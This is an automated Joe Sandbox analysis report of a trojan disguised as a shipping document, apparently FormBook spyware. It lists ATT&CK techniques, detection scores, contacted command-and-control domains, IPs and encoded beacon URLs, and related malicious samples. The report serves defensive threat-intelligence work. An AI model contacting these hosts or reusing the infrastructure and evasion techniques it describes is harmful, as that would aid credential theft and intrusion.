Source: Yara match	File source: 00000001.00000002.2129407938.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3567072049.0000000003580000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3565538257.0000000003050000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3567001047.00000000036E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2132245829.0000000004200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E76399 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00E76399
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E7685D socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00E7685D

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	2 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	151 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SHIPPING DOC MBL+HBL.exe	63%	ReversingLabs	Win32.Trojan.Generic
SHIPPING DOC MBL+HBL.exe	35%	Virustotal		Browse
SHIPPING DOC MBL+HBL.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
www.independent200.org	1%	Virustotal	Browse
chamadaslotgiris.net	0%	Virustotal	Browse
dns.ladipage.com	0%	Virustotal	Browse
www.personal-loans-jp8.xyz	1%	Virustotal	Browse
tigre777gg.online	0%	Virustotal	Browse
www.mediaplug.biz	0%	Virustotal	Browse
parcelfly.net	0%	Virustotal	Browse
www.abbabyfernando.online	1%	Virustotal	Browse
www.masteriocp.online	1%	Virustotal	Browse
www.parcelfly.net	0%	Virustotal	Browse
www.chamadaslotgiris.net	2%	Virustotal	Browse
www.tigre777gg.online	1%	Virustotal	Browse
www.monos.shop	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.parcelfly.net/n59g/	0%	Avira URL Cloud	safe
http://www.independent200.org/yl6y/	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://www.mediaplug.biz/osde/	0%	Avira URL Cloud	safe
http://www.parcelfly.net	0%	Avira URL Cloud	safe
http://www.quantumnests.xyz/vnd3/	0%	Avira URL Cloud	safe
http://www.mediaplug.biz/osde/?gd=RWxN1EBNqsrI97geHJKF+m1NqN4D5Qwm3eCTWsUjqsqAz5HjDo5OrFUtMmzwWkvzE1VCadoWcR1nh8rv/P1sJReZCD/pggQ9SZws5yKjtGx+wP+UoHuai7o=&a0=_6Edzvj0xtFLdH	0%	Avira URL Cloud	safe
http://www.parcelfly.net/n59g/	2%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://www.independent200.org/yl6y/	2%	Virustotal		Browse
http://www.parcelfly.net	0%	Virustotal		Browse
http://www.mediaplug.biz/osde/	2%	Virustotal		Browse
http://www.personal-loans-jp8.xyz/wwak/	1%	Virustotal		Browse
http://www.personal-loans-jp8.xyz/wwak/	0%	Avira URL Cloud	safe
http://www.tigre777gg.online/06rp/?gd=ziZdrN3wZJ2qpMxAfrlPkqpeB+M36+P6AeZYAnfnCDTQdjjRY74IsSepDIbPZx0tCufpSRr3CAxW0yXnKoSYcz8nolH3weaQT2LRQ2gsiM78APZpluIu/QY=&a0=_6Edzvj0xtFLdH	0%	Avira URL Cloud	safe
http://www.quantumnests.xyz/vnd3/?gd=xYBn5zztkuVfiCwnPAPX5/Vc6KcZvMqR03XK+4rS3g0RcyLb68RvZiy9qVH4+ViXNRgW3ur8wHahmEpIZ6ERXhxrpvJyNz8FMq3GCQE2JNk4pLMM9VfXXZw=&a0=_6Edzvj0xtFLdH	0%	Avira URL Cloud	safe
http://www.tigre777gg.online/06rp/	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
https://www.masteriocp.online/p5rq/?gd=RytyLV2sDE3KAjiSkyiXOnQjrJMqpEw2xv60Q0DZuFoqqvUh/Zvb/zR4	0%	Avira URL Cloud	safe
http://www.masteriocp.online/p5rq/	0%	Avira URL Cloud	safe
http://www.quantumnests.xyz/vnd3/	1%	Virustotal		Browse
http://www.independent200.org/yl6y/?gd=QPKrZbNCTa4h9OiZDCqTEYRHVYq8I9pQgXRm4OHk1vP2UInoYMEgLbhzG96tdyW5WcZsMbYjLnFg+NDONb5+DVpCe+n8LSxyZkRiMUCXQdQdgo9ddvaEU2A=&a0=_6Edzvj0xtFLdH	0%	Avira URL Cloud	safe
http://www.chamadaslotgiris.net/gqyt/?gd=NZeSp/M8BkILDmxs2B7hIlXbpVtCmEXRGifz0/tmVi2b1oVO5NeHeL2ulzOnf4Iy2ctjEvS834w05gMs6MQyiHNH7DPloLfSnGllCxy50DD/tOn/niLsxIk=&a0=_6Edzvj0xtFLdH	0%	Avira URL Cloud	safe
http://www.personal-loans-jp8.xyz/wwak/?gd=E3TGpDthwwVtcd68e7GptjCB6e8kOO0p076mRxbq1wlJhRxdRCVM2u01G8le2+tM+4jqrTcu85UNoN7iByxUcyNJNhtpQgsemRCiUIU53imXlsG7IfaIBm8=&a0=_6Edzvj0xtFLdH	0%	Avira URL Cloud	safe
https://www.google.com	0%	Virustotal		Browse
http://www.parcelfly.net/n59g/?a0=_6Edzvj0xtFLdH&gd=5pnE2UHiCW8ObGXd+5watRyj/n5k8DcBtxaudhAi15+uyfG3JVq1h0FDH1nQvWuKz1Kon5CV4Z0icGbf56g2ndPNw6uI/UGywwOjVsQmNLB0fJ9Ua+cFGcM=	0%	Avira URL Cloud	safe
http://www.masteriocp.online/p5rq/	2%	Virustotal		Browse
http://www.masteriocp.online/p5rq/?gd=RytyLV2sDE3KAjiSkyiXOnQjrJMqpEw2xv60Q0DZuFoqqvUh/Zvb/zR4+xNnv9lNk3zYZu+tANFIvcmMVMI5H28EY01DAN4ct7k9yl5pOX5UKp3K5dMEiwU=&a0=_6Edzvj0xtFLdH	0%	Avira URL Cloud	safe
http://www.tigre777gg.online/06rp/	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.independent200.org	103.42.108.46	true	true	1%, Virustotal, Browse	unknown
chamadaslotgiris.net	3.33.130.190	true	true	0%, Virustotal, Browse	unknown
dns.ladipage.com	18.139.62.226	true	true	0%, Virustotal, Browse	unknown
www.personal-loans-jp8.xyz	199.59.243.226	true	true	1%, Virustotal, Browse	unknown
www.quantumnests.xyz	162.0.239.141	true	true		unknown
tigre777gg.online	3.33.130.190	true	true	0%, Virustotal, Browse	unknown
www.mediaplug.biz	66.81.203.10	true	true	0%, Virustotal, Browse	unknown
parcelfly.net	84.32.84.32	true	true	0%, Virustotal, Browse	unknown
www.parcelfly.net	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.siyue.xyz	unknown	unknown	true		unknown
www.linkbasic.net	unknown	unknown	true		unknown
www.monos.shop	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.masteriocp.online	unknown	unknown	true	1%, Virustotal, Browse	unknown
www.abbabyfernando.online	unknown	unknown	true	1%, Virustotal, Browse	unknown
www.chamadaslotgiris.net	unknown	unknown	true	2%, Virustotal, Browse	unknown
www.tigre777gg.online	unknown	unknown	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.independent200.org/yl6y/	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.mediaplug.biz/osde/	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.parcelfly.net/n59g/	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.quantumnests.xyz/vnd3/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.mediaplug.biz/osde/?gd=RWxN1EBNqsrI97geHJKF+m1NqN4D5Qwm3eCTWsUjqsqAz5HjDo5OrFUtMmzwWkvzE1VCadoWcR1nh8rv/P1sJReZCD/pggQ9SZws5yKjtGx+wP+UoHuai7o=&a0=_6Edzvj0xtFLdH	true	Avira URL Cloud: safe	unknown
http://www.personal-loans-jp8.xyz/wwak/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.quantumnests.xyz/vnd3/?gd=xYBn5zztkuVfiCwnPAPX5/Vc6KcZvMqR03XK+4rS3g0RcyLb68RvZiy9qVH4+ViXNRgW3ur8wHahmEpIZ6ERXhxrpvJyNz8FMq3GCQE2JNk4pLMM9VfXXZw=&a0=_6Edzvj0xtFLdH	true	Avira URL Cloud: safe	unknown
http://www.tigre777gg.online/06rp/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.tigre777gg.online/06rp/?gd=ziZdrN3wZJ2qpMxAfrlPkqpeB+M36+P6AeZYAnfnCDTQdjjRY74IsSepDIbPZx0tCufpSRr3CAxW0yXnKoSYcz8nolH3weaQT2LRQ2gsiM78APZpluIu/QY=&a0=_6Edzvj0xtFLdH	true	Avira URL Cloud: safe	unknown
http://www.masteriocp.online/p5rq/	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.independent200.org/yl6y/?gd=QPKrZbNCTa4h9OiZDCqTEYRHVYq8I9pQgXRm4OHk1vP2UInoYMEgLbhzG96tdyW5WcZsMbYjLnFg+NDONb5+DVpCe+n8LSxyZkRiMUCXQdQdgo9ddvaEU2A=&a0=_6Edzvj0xtFLdH	true	Avira URL Cloud: safe	unknown
http://www.chamadaslotgiris.net/gqyt/?gd=NZeSp/M8BkILDmxs2B7hIlXbpVtCmEXRGifz0/tmVi2b1oVO5NeHeL2ulzOnf4Iy2ctjEvS834w05gMs6MQyiHNH7DPloLfSnGllCxy50DD/tOn/niLsxIk=&a0=_6Edzvj0xtFLdH	true	Avira URL Cloud: safe	unknown
http://www.personal-loans-jp8.xyz/wwak/?gd=E3TGpDthwwVtcd68e7GptjCB6e8kOO0p076mRxbq1wlJhRxdRCVM2u01G8le2+tM+4jqrTcu85UNoN7iByxUcyNJNhtpQgsemRCiUIU53imXlsG7IfaIBm8=&a0=_6Edzvj0xtFLdH	true	Avira URL Cloud: safe	unknown
http://www.parcelfly.net/n59g/?a0=_6Edzvj0xtFLdH&gd=5pnE2UHiCW8ObGXd+5watRyj/n5k8DcBtxaudhAi15+uyfG3JVq1h0FDH1nQvWuKz1Kon5CV4Z0icGbf56g2ndPNw6uI/UGywwOjVsQmNLB0fJ9Ua+cFGcM=	true	Avira URL Cloud: safe	unknown
http://www.masteriocp.online/p5rq/?gd=RytyLV2sDE3KAjiSkyiXOnQjrJMqpEw2xv60Q0DZuFoqqvUh/Zvb/zR4+xNnv9lNk3zYZu+tANFIvcmMVMI5H28EY01DAN4ct7k9yl5pOX5UKp3K5dMEiwU=&a0=_6Edzvj0xtFLdH	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.parcelfly.net	PrWIbKXhdqUKk.exe, 00000008.00000002.3568694635.0000000004CD4000.00000040.80000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	netbtugc.exe, 00000006.00000002.3569382818.00000000065A0000.00000004.00000800.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3567902266.0000000004CF2000.00000004.10000000.00040000.00000000.sdmp, PrWIbKXhdqUKk.exe, 00000008.00000002.3567310528.0000000003732000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.masteriocp.online/p5rq/?gd=RytyLV2sDE3KAjiSkyiXOnQjrJMqpEw2xv60Q0DZuFoqqvUh/Zvb/zR4	netbtugc.exe, 00000006.00000002.3567902266.0000000004518000.00000004.10000000.00040000.00000000.sdmp, PrWIbKXhdqUKk.exe, 00000008.00000002.3567310528.0000000002F58000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
18.139.62.226	dns.ladipage.com	United States	16509	AMAZON-02US	true
162.0.239.141	www.quantumnests.xyz	Canada	22612	NAMECHEAP-NETUS	true
66.81.203.10	www.mediaplug.biz	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
199.59.243.226	www.personal-loans-jp8.xyz	United States	395082	BODIS-NJUS	true
84.32.84.32	parcelfly.net	Lithuania	33922	NTT-LT-ASLT	true
103.42.108.46	www.independent200.org	Australia	45638	SYNERGYWHOLESALE-APSYNERGYWHOLESALEPTYLTDAU	true
3.33.130.190	chamadaslotgiris.net	United States	8987	AMAZONEXPANSIONGB	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1511196
Start date and time:	2024-09-14 11:09:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SHIPPING DOC MBL+HBL.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/3@13/7
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 85% Number of executed functions: 50 Number of non-executed functions: 270
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:11:27	API Interceptor	6172468x Sleep call for process: netbtugc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
18.139.62.226	3T-ENQ-O-2024-10856.exe	Get hash	malicious	FormBook	Browse	www.masteriocp.online/p5rq/
	Scan 00093847.exe	Get hash	malicious	FormBook	Browse	www.masteriocp.online/wg84/
	DN.exe	Get hash	malicious	FormBook	Browse	www.masteriocp.online/p5rq/
	DHL_497104778908.exe	Get hash	malicious	FormBook	Browse	www.gaolibai.site/dk07/?hJ=D8pto4BPuzWD9&BZy=GDy9Ivf9UNaqrv9frjLto9uu2IkJerzBBeACnqJs3sHtDRLx3rmxpepnBsqEQrJHpKMtcSrveA==
	Arrival Notice.bat.exe	Get hash	malicious	FormBook	Browse	www.againbeautywhiteskin.asia/3h10/
	SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.hisako.store/e368/
162.0.239.141	Purchase order.exe	Get hash	malicious	FormBook	Browse	www.goulfy.life/ch9d/
	Remittance advice.exe	Get hash	malicious	FormBook	Browse	www.goulfy.life/ch9d/
	PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Get hash	malicious	FormBook	Browse	www.fineg.online/mkan/
	p4LNUqyKZM.exe	Get hash	malicious	FormBook	Browse	www.fineg.online/mkan/
	PO_987654345678.exe	Get hash	malicious	FormBook	Browse	www.fineg.online/mkan/?Qd=++BThBYRK05wjkBMoiNZpGp8KzaJeIQtL/1q1tE7a+KA1WWTK8ndyCrnLs1rj5YPQ184ZKAvPKam8uu94QVQnk5qhKksqEgqCLgXJ6uhhZrz9ToUPGPp3h4=&0z=mDcdcR8
	INV20240828.exe	Get hash	malicious	FormBook	Browse	www.fineg.online/mkan/
	Quotation-27-08-24.exe	Get hash	malicious	FormBook	Browse	www.stolex.top/kunq/
66.81.203.10	r3T-ENQ-O-2024-10856.exe	Get hash	malicious	FormBook	Browse	www.mediaplug.biz/osde/
66.81.203.10	3T-ENQ-O-2024-10856.exe	Get hash	malicious	FormBook	Browse	www.mediaplug.biz/osde/
199.59.243.226	invoice.exe	Get hash	malicious	FormBook	Browse	www.dom-2.online/m409/
	SecuriteInfo.com.Win32.Malware-gen.24953.22588.exe	Get hash	malicious	FormBook	Browse	www.donante-de-ovulos.biz/ej48/?RD4=Ee68ykewRFJ8A2SRrUCu21Ekxwy9QIGG2b1vwuflBbAtztkjLNJNGzAEmckJ3zA7m4DaBSVbTXoI41WpJRNfzibS1Sp985hxzror3QrCEyk8LcrtyPCzglc=&VzA=dz5HvTSP4ZdlFHDP
	file.exe	Get hash	malicious	FormBook	Browse	www.pussy.coupons/lrsg/
	Purchase order.exe	Get hash	malicious	FormBook	Browse	www.personalloan-fr1.click/u5lh/
	r9856_7.exe	Get hash	malicious	FormBook	Browse	www.personal-loans-jp8.xyz/6ycu/
	x.exe	Get hash	malicious	FormBook	Browse	www.pmjjewels.online/zksk/
	bin.exe	Get hash	malicious	FormBook	Browse	www.pmjjewels.online/zksk/
	Remittance advice.exe	Get hash	malicious	FormBook	Browse	www.personalloan-fr1.click/u5lh/
	PDF PURCHASE INQUIRY PDF.exe	Get hash	malicious	FormBook	Browse	www.pet-adoption-01.xyz/hd7z/
	PO#86637.exe	Get hash	malicious	FormBook	Browse	www.dom-2.online/m409/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
dns.ladipage.com	r3T-ENQ-O-2024-10856.exe	Get hash	malicious	FormBook	Browse	13.228.81.39
	SecuriteInfo.com.Win32.Malware-gen.24953.22588.exe	Get hash	malicious	FormBook	Browse	13.228.81.39
	3T-ENQ-O-2024-10856.exe	Get hash	malicious	FormBook	Browse	18.139.62.226
	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	54.179.173.60
	Scan 00093847.exe	Get hash	malicious	FormBook	Browse	18.139.62.226
	z11SOAAUG2408.exe	Get hash	malicious	FormBook	Browse	13.228.81.39
	REQUEST FOR QUOTATION.exe	Get hash	malicious	FormBook, GuLoader	Browse	13.228.81.39
	DN.exe	Get hash	malicious	FormBook	Browse	18.139.62.226
	https://www.newbalancestore.asia/nb530.nh?utm_source=sale	Get hash	malicious	Unknown	Browse	13.228.81.39
	DHL_497104778908.exe	Get hash	malicious	FormBook	Browse	18.139.62.226
www.personal-loans-jp8.xyz	r9856_7.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
www.personal-loans-jp8.xyz	Quotation-27-08-24.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
www.independent200.org	r3T-ENQ-O-2024-10856.exe	Get hash	malicious	FormBook	Browse	103.42.108.46
	3T-ENQ-O-2024-10856.exe	Get hash	malicious	FormBook	Browse	103.42.108.46
	LKkVS1VFJD.exe	Get hash	malicious	FormBook	Browse	103.42.108.46
www.mediaplug.biz	r3T-ENQ-O-2024-10856.exe	Get hash	malicious	FormBook	Browse	66.81.203.10
	3T-ENQ-O-2024-10856.exe	Get hash	malicious	FormBook	Browse	66.81.203.10
	Jsn496Em5T.exe	Get hash	malicious	FormBook	Browse	66.81.203.135
	6i4QCFbsNi.exe	Get hash	malicious	FormBook	Browse	66.81.203.200
	Curriculum Vitae.exe	Get hash	malicious	FormBook	Browse	66.81.203.200
	z11SOAAUG2408.exe	Get hash	malicious	FormBook	Browse	66.81.203.200
	DN.exe	Get hash	malicious	FormBook	Browse	66.81.203.135
	Filename.exe	Get hash	malicious	DarkTortilla, FormBook	Browse	66.81.203.200

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	WorldWars Setup.exe	Get hash	malicious	Unknown	Browse	45.112.123.126
	http://pro-ciine-base.gitbook.io/	Get hash	malicious	Unknown	Browse	54.76.62.217
	http://cloud-gs28iiow3-walletconnect1.vercel.app/sign-in/	Get hash	malicious	Unknown	Browse	76.76.21.93
	http://infofunctionboard.autos/	Get hash	malicious	Unknown	Browse	18.245.31.129
	http://metasamsk-uswallt.gitbook.io/	Get hash	malicious	Unknown	Browse	18.239.83.59
	https://metheimasskieloginie.gitbook.io/	Get hash	malicious	Unknown	Browse	18.239.83.59
	http://opm.pages.dev/account/js-reporting?crumb=uZ4.07kERLI&message=javascript_not_enabled&ref=/account/challenge/password	Get hash	malicious	HTMLPhisher	Browse	13.224.194.48
	https://rb.gy/xy1qxp	Get hash	malicious	Unknown	Browse	52.57.4.210
	https://11158ee.wcomhost.com/	Get hash	malicious	Unknown	Browse	13.35.58.72
	https://join-mywhatsapp.pages.dev/	Get hash	malicious	Unknown	Browse	52.19.138.177
NAMECHEAP-NETUS	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&url=amp%2F%E2%80%8Bfin%C2%ADcaa%C2%ADin%C2%ADa%C2%AD%C2%AD.%E2%80%8Bco%C2%ADm%2Fauth%2Factive%2FUa51gHNn5MTLdsCceMMGWdci/ZmVydGlsaXplckBjZGZhLmNhLmdvdg==	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	162.0.228.73
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&url=amp%2F%E2%80%8Bfin%C2%ADcaa%C2%ADin%C2%ADa%C2%AD%C2%AD.%E2%80%8Bco%C2%ADm%2Fauth%2Factive%2FUa51gHNn5MTLdsCceMMGWdci/ZmVydGlsaXplckBjZGZhLmNhLmdvdg==	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	162.0.228.73
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Br%C2%ADo%C2%ADt%C2%ADv%C2%AD2%C2%AD4.%E2%80%8Bco%C2%ADm%2Fauth%2Factive%2FKtdCRbWJN443KOWzPtjJuhJU/YW15Lmp	Get hash	malicious	HTMLPhisher	Browse	192.64.117.211
	SOLICITUD DE COTIZACI#U00d3N - 6721000232111.exe	Get hash	malicious	FormBook	Browse	199.192.21.169
	Play_VM-Now(Trager)CLQD.html	Get hash	malicious	HTMLPhisher	Browse	199.192.22.193
	SecuriteInfo.com.Win32.Malware-gen.24953.22588.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	file.exe	Get hash	malicious	FormBook	Browse	199.192.21.169
	http://www.nationwidetherapygroup.com	Get hash	malicious	Unknown	Browse	198.54.116.84
	Purchase order.exe	Get hash	malicious	FormBook	Browse	162.0.239.141
	http://jnhxqc.com/	Get hash	malicious	Unknown	Browse	162.0.229.97
BODIS-NJUS	invoice.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	SecuriteInfo.com.Win32.Malware-gen.24953.22588.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	file.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	Purchase order.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	r9856_7.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	x.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	bin.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	Remittance advice.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	PDF PURCHASE INQUIRY PDF.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	PO#86637.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
CONFLUENCE-NETWORK-INCVG	r3T-ENQ-O-2024-10856.exe	Get hash	malicious	FormBook	Browse	66.81.203.10
	SecuriteInfo.com.Win32.Malware-gen.24953.22588.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	r9856_7.exe	Get hash	malicious	FormBook	Browse	208.91.197.13
	3T-ENQ-O-2024-10856.exe	Get hash	malicious	FormBook	Browse	66.81.203.10
